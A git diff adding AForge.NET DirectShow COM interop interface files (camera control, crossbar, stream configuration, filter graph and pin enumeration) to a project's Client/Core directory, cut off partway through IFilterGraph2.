@@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The IAMCameraControl interface controls camera settings such as zoom, pan, aperture adjustment, + /// or shutter speed. To obtain this interface, query the filter that controls the camera. + /// + [ComImport, + Guid( "C6E13370-30AC-11d0-A18C-00A0C9118956" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IAMCameraControl + { + /// + /// Gets the range and default value of a specified camera property. + /// + /// + /// Specifies the property to query. + /// Receives the minimum value of the property. + /// Receives the maximum value of the property. + /// Receives the step size for the property. + /// Receives the default value of the property. + /// Receives a member of the CameraControlFlags enumeration, indicating whether the property is controlled automatically or manually. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetRange( + [In] CameraControlProperty Property, + [Out] out int pMin, + [Out] out int pMax, + [Out] out int pSteppingDelta, + [Out] out int pDefault, + [Out] out CameraControlFlags pCapsFlags + ); + + /// + /// Sets a specified property on the camera. + /// + /// + /// Specifies the property to set. + /// Specifies the new value of the property. + /// Specifies the desired control setting, as a member of the CameraControlFlags enumeration. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Set( + [In] CameraControlProperty Property, + [In] int lValue, + [In] CameraControlFlags Flags + ); + + /// + /// Gets the current setting of a camera property. + /// + /// + /// Specifies the property to retrieve. + /// Receives the value of the property. + /// Receives a member of the CameraControlFlags enumeration. + /// The returned value indicates whether the setting is controlled manually or automatically. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Get( + [In] CameraControlProperty Property, + [Out] out int lValue, + [Out] out CameraControlFlags Flags + ); + } +} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IAMCrossbar.cs b/Client/Core/AForge/Video.DirectShow/Internals/IAMCrossbar.cs new file mode 100644 index 000000000..b67fc091d --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Internals/IAMCrossbar.cs @@ -0,0 +1,88 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2012 +// contacts@aforgenet.com +// + +using System; +using System.Runtime.InteropServices; + +namespace AForge.Video.DirectShow.Internals +{ + /// + /// The IAMCrossbar interface routes signals from an analog or digital source to a video capture filter. + /// + [ComImport, System.Security.SuppressUnmanagedCodeSecurity, + Guid( "C6E13380-30AC-11D0-A18C-00A0C9118956" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IAMCrossbar + { + /// + /// Retrieves the number of input and output pins on the crossbar filter. + /// + /// + /// Variable that receives the number of output pins. + /// Variable that receives the number of input pins. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_PinCounts( [Out] out int outputPinCount, [Out] out int inputPinCount ); + + /// + /// Queries whether a specified input pin can be routed to a specified output pin. + /// + /// + /// Specifies the index of the output pin. + /// Specifies the index of input pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int CanRoute( [In] int outputPinIndex, [In] int inputPinIndex ); + + /// + /// Routes an input pin to an output pin. + /// + /// + /// Specifies the index of the output pin. + /// Specifies the index of the input pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Route( [In] int outputPinIndex, [In] int inputPinIndex ); + + /// + /// Retrieves the input pin that is currently routed to the specified output pin. + /// + /// + /// Specifies the index of the output pin. + /// Variable that receives the index of the input pin, or -1 if no input pin is routed to this output pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_IsRoutedTo( [In] int outputPinIndex, [Out] out int inputPinIndex ); + + /// + /// Retrieves information about a specified pin. + /// + /// + /// Specifies the direction of the pin. Use one of the following values. + /// Specifies the index of the pin. + /// Variable that receives the index of the related pin, or –1 if no pin is related to this pin. + /// Variable that receives a member of the PhysicalConnectorType enumeration, indicating the pin's physical type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_CrossbarPinInfo( + [In, MarshalAs( UnmanagedType.Bool )] bool isInputPin, + [In] int pinIndex, + [Out] out int pinIndexRelated, + [Out] out PhysicalConnectorType physicalType ); + } +} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs b/Client/Core/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs new file mode 100644 index 000000000..e72f06e19 --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs @@ -0,0 +1,74 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// This interface sets the output format on certain capture and compression filters, + /// for both audio and video. + /// + /// + [ComImport, + Guid( "C6E13340-30AC-11d0-A18C-00A0C9118956" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IAMStreamConfig + { + /// + /// Set the output format on the pin. + /// + /// + /// Media type to set. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetFormat( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Retrieves the audio or video stream's format. + /// + /// + /// Retrieved media type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetFormat( [Out, MarshalAs( UnmanagedType.LPStruct )] out AMMediaType mediaType ); + + /// + /// Retrieve the number of format capabilities that this pin supports. + /// + /// + /// Variable that receives the number of format capabilities. + /// Variable that receives the size of the configuration structure in bytes. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetNumberOfCapabilities( out int count, out int size ); + + /// + /// Retrieve a set of format capabilities. + /// + /// + /// Specifies the format capability to retrieve, indexed from zero. + /// Retrieved media type. + /// Byte array, which receives information about capabilities. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetStreamCaps( + [In] int index, + [Out, MarshalAs( UnmanagedType.LPStruct )] out AMMediaType mediaType, + [In, MarshalAs( UnmanagedType.LPStruct )] VideoStreamConfigCaps streamConfigCaps + ); + } +} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IAMVideoControl.cs b/Client/Core/AForge/Video.DirectShow/Internals/IAMVideoControl.cs new file mode 100644 index 000000000..cb57dfe73 --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Internals/IAMVideoControl.cs @@ -0,0 +1,112 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2011 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface controls certain video capture operations such as enumerating available + /// frame rates and image orientation. + /// + /// + [ComImport, + Guid( "6A2E0670-28E4-11D0-A18c-00A0C9118956" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IAMVideoControl + { + /// + /// Retrieves the capabilities of the underlying hardware. + /// + /// + /// Pin to query capabilities from. + /// Get capabilities of the specified pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetCaps( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I4 )] out VideoControlFlags flags ); + + /// + /// Sets the video control mode of operation. + /// + /// + /// The pin to set the video control mode on. + /// Value specifying a combination of the flags to set the video control mode. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetMode( [In] IPin pin, [In, MarshalAs( UnmanagedType.I4 )] VideoControlFlags mode ); + + /// + /// Retrieves the video control mode of operation. + /// + /// + /// The pin to retrieve the video control mode from. + /// Gets combination of flags, which specify the video control mode. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetMode( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I4 )] out VideoControlFlags mode ); + + /// + /// The method retrieves the actual frame rate, expressed as a frame duration in 100-nanosecond units. + /// USB (Universal Serial Bus) and IEEE 1394 cameras may provide lower frame rates than requested + /// because of bandwidth availability. This is only available during video streaming. + /// + /// + /// The pin to retrieve the frame rate from. + /// Gets frame rate in frame duration in 100-nanosecond units. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetCurrentActualFrameRate( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I8 )] out long actualFrameRate ); + + /// + /// Retrieves the maximum frame rate currently available based on bus bandwidth usage for connections + /// such as USB and IEEE 1394 camera devices where the maximum frame rate can be limited by bandwidth + /// availability. + /// + /// + /// The pin to retrieve the maximum frame rate from. + /// Index of the format to query for maximum frame rate. This index corresponds + /// to the order in which formats are enumerated by . + /// Frame image size (width and height) in pixels. + /// Gets maximum available frame rate. The frame rate is expressed as frame duration in 100-nanosecond units. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetMaxAvailableFrameRate( [In] IPin pin, [In] int index, + [In] System.Drawing.Size dimensions, + [Out] out long maxAvailableFrameRate ); + + /// + /// Retrieves a list of available frame rates. + /// + /// + /// The pin to retrieve the maximum frame rate from. + /// Index of the format to query for maximum frame rate. This index corresponds + /// to the order in which formats are enumerated by . + /// Frame image size (width and height) in pixels. + /// Number of elements in the list of frame rates. + /// Array of frame rates in 100-nanosecond units. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetFrameRateList( [In] IPin pin, [In] int index, + [In] System.Drawing.Size dimensions, + [Out] out int listSize, + [Out] out IntPtr frameRate ); + } +} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IBaseFilter.cs b/Client/Core/AForge/Video.DirectShow/Internals/IBaseFilter.cs new file mode 100644 index 000000000..3c03a316f --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Internals/IBaseFilter.cs @@ -0,0 +1,161 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The IBaseFilter interface provides methods for controlling a filter. + /// All DirectShow filters expose this interface + /// + /// + [ComImport, + Guid( "56A86895-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IBaseFilter + { + // --- IPersist Methods + + /// + /// Returns the class identifier (CLSID) for the component object. + /// + /// + /// Points to the location of the CLSID on return. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetClassID( [Out] out Guid ClassID ); + + // --- IMediaFilter Methods + + /// + /// Stops the filter. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Stop( ); + + /// + /// Pauses the filter. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Pause( ); + + /// + /// Runs the filter. + /// + /// + /// Reference time corresponding to stream time 0. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Run( long start ); + + /// + /// Retrieves the state of the filter (running, stopped, or paused). + /// + /// + /// Time-out interval, in milliseconds. + /// Pointer to a variable that receives filter's state. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetState( int milliSecsTimeout, [Out] out int filterState ); + + /// + /// Sets the reference clock for the filter or the filter graph. + /// + /// + /// Pointer to the clock's IReferenceClock interface, or NULL. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetSyncSource( [In] IntPtr clock ); + + /// + /// Retrieves the current reference clock. + /// + /// + /// Address of a variable that receives a pointer to the clock's IReferenceClock interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetSyncSource( [Out] out IntPtr clock ); + + // --- IBaseFilter Methods + + /// + /// Enumerates the pins on this filter. + /// + /// + /// Address of a variable that receives a pointer to the IEnumPins interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EnumPins( [Out] out IEnumPins enumPins ); + + /// + /// Retrieves the pin with the specified identifier. + /// + /// + /// Pointer to a constant wide-character string that identifies the pin. + /// Address of a variable that receives a pointer to the pin's IPin interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindPin( [In, MarshalAs( UnmanagedType.LPWStr )] string id, [Out] out IPin pin ); + + /// + /// Retrieves information about the filter. + /// + /// + /// Pointer to FilterInfo structure. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryFilterInfo( [Out] out FilterInfo filterInfo ); + + /// + /// Notifies the filter that it has joined or left the filter graph. + /// + /// + /// Pointer to the Filter Graph Manager's IFilterGraph interface, or NULL + /// if the filter is leaving the graph. + /// String that specifies a name for the filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int JoinFilterGraph( [In] IFilterGraph graph, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); + + /// + /// Retrieves a string containing vendor information. + /// + /// + /// Receives a string containing the vendor information. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryVendorInfo( [Out, MarshalAs( UnmanagedType.LPWStr )] out string vendorInfo ); + } +} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs b/Client/Core/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs new file mode 100644 index 000000000..4ef802a37 --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs @@ -0,0 +1,192 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// This interface builds capture graphs and other custom filter graphs. + /// + /// + [ComImport, + Guid( "93E5A4E0-2D50-11d2-ABFA-00A0C9C6E38D" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface ICaptureGraphBuilder2 + { + /// + /// Specify filter graph for the capture graph builder to use. + /// + /// + /// Filter graph's interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetFiltergraph( [In] IGraphBuilder graphBuilder ); + + /// + /// Retrieve the filter graph that the builder is using. + /// + /// + /// Filter graph's interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetFiltergraph( [Out] out IGraphBuilder graphBuilder ); + + /// + /// Create file writing section of the filter graph. + /// + /// + /// GUID that represents either the media subtype of the output or the + /// class identifier (CLSID) of a multiplexer filter or file writer filter. + /// Output file name. + /// Receives the multiplexer's interface. + /// Receives the file writer's IFileSinkFilter interface. Can be NULL. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetOutputFileName( + [In, MarshalAs( UnmanagedType.LPStruct )] Guid type, + [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, + [Out] out IBaseFilter baseFilter, + [Out] out IntPtr fileSinkFilter + ); + + /// + /// Searche the graph for a specified interface, starting from a specified filter. + /// + /// + /// GUID that specifies the search criteria. + /// GUID that specifies the major media type of an output pin, or NULL. + /// interface of the filter. The method begins searching from this filter. + /// Interface identifier (IID) of the interface to locate. + /// Receives found interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindInterface( + [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid type, + [In] IBaseFilter baseFilter, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid interfaceID , + [Out, MarshalAs( UnmanagedType.IUnknown )] out object retInterface + ); + + /// + /// Connect an output pin on a source filter to a rendering filter, optionally through a compression filter. + /// + /// + /// Pin category. + /// Major-type GUID that specifies the media type of the output pin. + /// Starting filter for the connection. + /// Interface of an intermediate filter, such as a compression filter. Can be NULL. + /// Sink filter, such as a renderer or mux filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RenderStream( + [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType, + [In, MarshalAs( UnmanagedType.IUnknown )] object source, + [In] IBaseFilter compressor, + [In] IBaseFilter renderer + ); + + /// + /// Set the start and stop times for one or more streams of captured data. + /// + /// + /// Pin category. + /// Major-type GUID that specifies the media type. + /// interface that specifies which filter to control. + /// Start time. + /// Stop time. + /// Value that is sent as the second parameter of the + /// EC_STREAM_CONTROL_STARTED event notification. + /// Value that is sent as the second parameter of the + /// EC_STREAM_CONTROL_STOPPED event notification. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ControlStream( + [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType, + [In, MarshalAs( UnmanagedType.Interface )] IBaseFilter filter, + [In] long start, + [In] long stop, + [In] short startCookie, + [In] short stopCookie + ); + + /// + /// Preallocate a capture file to a specified size. + /// + /// + /// File name to create or resize. + /// Size of the file to allocate, in bytes. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AllocCapFile( + [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, + [In] long size + ); + + /// + /// Copy the valid media data from a capture file. + /// + /// + /// Old file name. + /// New file name. + /// Boolean value that specifies whether pressing the ESC key cancels the copy operation. + /// IAMCopyCaptureFileProgress interface to display progress information, or NULL. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int CopyCaptureFile( + [In, MarshalAs( UnmanagedType.LPWStr )] string oldFileName, + [In, MarshalAs( UnmanagedType.LPWStr )] string newFileName, + [In, MarshalAs( UnmanagedType.Bool )] bool allowEscAbort, + [In] IntPtr callback + ); + + /// + /// + /// + /// + /// Interface on a filter, or to an interface on a pin. + /// Pin direction (input or output). + /// Pin category. + /// Media type. + /// Boolean value that specifies whether the pin must be unconnected. + /// Zero-based index of the pin to retrieve, from the set of matching pins. + /// Interface of the matching pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindPin( + [In, MarshalAs( UnmanagedType.IUnknown )] object source, + [In] PinDirection pinDirection, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType, + [In, MarshalAs( UnmanagedType.Bool )] bool unconnected, + [In] int index, + [Out, MarshalAs( UnmanagedType.Interface )] out IPin pin + ); + } +} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs b/Client/Core/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs new file mode 100644 index 000000000..81e4b59f0 --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs @@ -0,0 +1,37 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + using System.Runtime.InteropServices.ComTypes; + + /// + /// The ICreateDevEnum interface creates an enumerator for devices within a particular category, + /// such as video capture devices, audio capture devices, video compressors, and so forth. + /// + /// + [ComImport, + Guid( "29840822-5B84-11D0-BD3B-00A0C911CE86" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface ICreateDevEnum + { + /// + /// Creates a class enumerator for a specified device category. + /// + /// + /// Specifies the class identifier of the device category. + /// Address of a variable that receives an IEnumMoniker interface pointer + /// Bitwise combination of zero or more flags. If zero, the method enumerates every filter in the category. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int CreateClassEnumerator( [In] ref Guid type, [Out] out IEnumMoniker enumMoniker, [In] int flags ); + } +} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IEnumFilters.cs b/Client/Core/AForge/Video.DirectShow/Internals/IEnumFilters.cs new file mode 100644 index 000000000..a4c8eb936 --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Internals/IEnumFilters.cs @@ -0,0 +1,71 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007-2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// This interface is used by applications or other filters to determine + /// what filters exist in the filter graph. + /// + /// + [ComImport, + Guid( "56A86893-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IEnumFilters + { + /// + /// Retrieves the specified number of filters in the enumeration sequence. + /// + /// + /// Number of filters to retrieve. + /// Array in which to place interfaces. + /// Actual number of filters placed in the array. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Next( [In] int cFilters, + [Out, MarshalAs( UnmanagedType.LPArray, SizeParamIndex = 0 )] IBaseFilter[] filters, + [Out] out int filtersFetched ); + + /// + /// Skips a specified number of filters in the enumeration sequence. + /// + /// + /// Number of filters to skip. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Skip( [In] int cFilters ); + + /// + /// Resets the enumeration sequence to the beginning. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Reset( ); + + /// + /// Makes a copy of the enumerator with the same enumeration state. + /// + /// + /// Duplicate of the enumerator. + /// + /// + /// Return's HRESULT error code. + /// + /// + [PreserveSig] + int Clone( [Out] out IEnumFilters enumFilters ); + } +} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IEnumPins.cs b/Client/Core/AForge/Video.DirectShow/Internals/IEnumPins.cs new file mode 100644 index 000000000..41e1f740d --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Internals/IEnumPins.cs @@ -0,0 +1,68 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// Enumerates pins on a filter. + /// + /// + [ComImport, + Guid( "56A86892-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IEnumPins + { + /// + /// Retrieves a specified number of pins. + /// + /// + /// Number of pins to retrieve. + /// Array of size cPins that is filled with IPin pointers. + /// Receives the number of pins retrieved. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Next( [In] int cPins, + [Out, MarshalAs( UnmanagedType.LPArray, SizeParamIndex = 0 )] IPin[] pins, + [Out] out int pinsFetched ); + + /// + /// Skips a specified number of pins in the enumeration sequence. + /// + /// + /// Number of pins to skip. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Skip( [In] int cPins ); + + /// + /// Resets the enumeration sequence to the beginning. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Reset( ); + + /// + /// Makes a copy of the enumerator with the same enumeration state. + /// + /// + /// Duplicate of the enumerator. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Clone( [Out] out IEnumPins enumPins ); + } +} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IFileSourceFilter.cs b/Client/Core/AForge/Video.DirectShow/Internals/IFileSourceFilter.cs new file mode 100644 index 000000000..a362e47a1 --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Internals/IFileSourceFilter.cs @@ -0,0 +1,48 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface is exposed by source filters to set the file name and media type of the media file that they are to render. + /// + /// + [ComImport, + Guid( "56A868A6-0Ad4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IFileSourceFilter + { + /// + /// Loads the source filter with the file. + /// + /// + /// The name of the file to open. + /// Media type of the file. This can be null. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Load( [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, + [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Retrieves the current file. + /// + /// + /// Name of media file. + /// Receives media type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetCurFile([Out, MarshalAs( UnmanagedType.LPWStr )] out string fileName, + [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + } +} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IFilterGraph.cs b/Client/Core/AForge/Video.DirectShow/Internals/IFilterGraph.cs new file mode 100644 index 000000000..7d21c5f12 --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Internals/IFilterGraph.cs @@ -0,0 +1,113 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface provides methods for building a filter graph. An application can use it to add filters to + /// the graph, connect or disconnect filters, remove filters, and perform other basic operations. + /// + /// + [ComImport, + Guid( "56A8689F-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IFilterGraph + { + /// + /// Adds a filter to the graph and gives it a name. + /// + /// + /// Filter to add to the graph. + /// Name of the filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); + + /// + /// Removes a filter from the graph. + /// + /// + /// Filter to be removed from the graph. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RemoveFilter( [In] IBaseFilter filter ); + + /// + /// Provides an enumerator for all filters in the graph. + /// + /// + /// Filter enumerator. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EnumFilters( [Out] out IntPtr enumerator ); + + /// + /// Finds a filter that was added with a specified name. + /// + /// + /// Name of filter to search for. + /// Interface of found filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter ); + + /// + /// Connects two pins directly (without intervening filters). + /// + /// + /// Output pin. + /// Input pin. + /// Media type to use for the connection. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Breaks the existing pin connection and reconnects it to the same pin. + /// + /// + /// Pin to disconnect and reconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Reconnect( [In] IPin pin ); + + /// + /// Disconnects a specified pin. + /// + /// + /// Pin to disconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Disconnect( [In] IPin pin ); + + /// + /// Sets the reference clock to the default clock. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetDefaultSyncSource( ); + } +} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IFilterGraph2.cs b/Client/Core/AForge/Video.DirectShow/Internals/IFilterGraph2.cs new file mode 100644 index 000000000..b4dbf4c01 --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Internals/IFilterGraph2.cs @@ -0,0 +1,257 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + using System.Runtime.InteropServices.ComTypes; + + /// + /// This interface extends the and + /// interfaces, which contain methods for building filter graphs. + /// + /// + [ComImport, + Guid("36B73882-C2C8-11CF-8B46-00805F6CEF60"), + InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] + internal interface IFilterGraph2 + { + // --- IFilterGraph Methods + + /// + /// Adds a filter to the graph and gives it a name. + /// + /// + /// Filter to add to the graph. + /// Name of the filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); + + /// + /// Removes a filter from the graph. + /// + /// + /// Filter to be removed from the graph. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RemoveFilter( [In] IBaseFilter filter ); + + /// + /// Provides an enumerator for all filters in the graph. + /// + /// + /// Filter enumerator. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EnumFilters( [Out] out IEnumFilters enumerator ); + + /// + /// Finds a filter that was added with a specified name. + /// + /// + /// Name of filter to search for. + /// Interface of found filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter ); + + /// + /// Connects two pins directly (without intervening filters). + /// + /// + /// Output pin. + /// Input pin. + /// Media type to use for the connection. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Breaks the existing pin connection and reconnects it to the same pin. + /// + /// + /// Pin to disconnect and reconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Reconnect( [In] IPin pin ); + + /// + /// Disconnects a specified pin. + /// + /// + /// Pin to disconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Disconnect( [In] IPin pin ); + + /// + /// Sets the reference clock to the default clock. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetDefaultSyncSource( ); + + // --- IGraphBuilder methods + + /// + /// Connects two pins. If they will not connect directly, this method connects them with intervening transforms. + /// + /// + /// Output pin. + /// Input pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Connect( [In] IPin pinOut, [In] IPin pinIn ); + + /// + /// Adds a chain of filters to a specified output pin to render it. + /// + /// + /// Output pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Render( [In] IPin pinOut ); + + /// + /// Builds a filter graph that renders the specified file. + /// + /// + /// Specifies a string that contains file name or device moniker. + /// Reserved. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RenderFile( + [In, MarshalAs( UnmanagedType.LPWStr )] string file, + [In, MarshalAs( 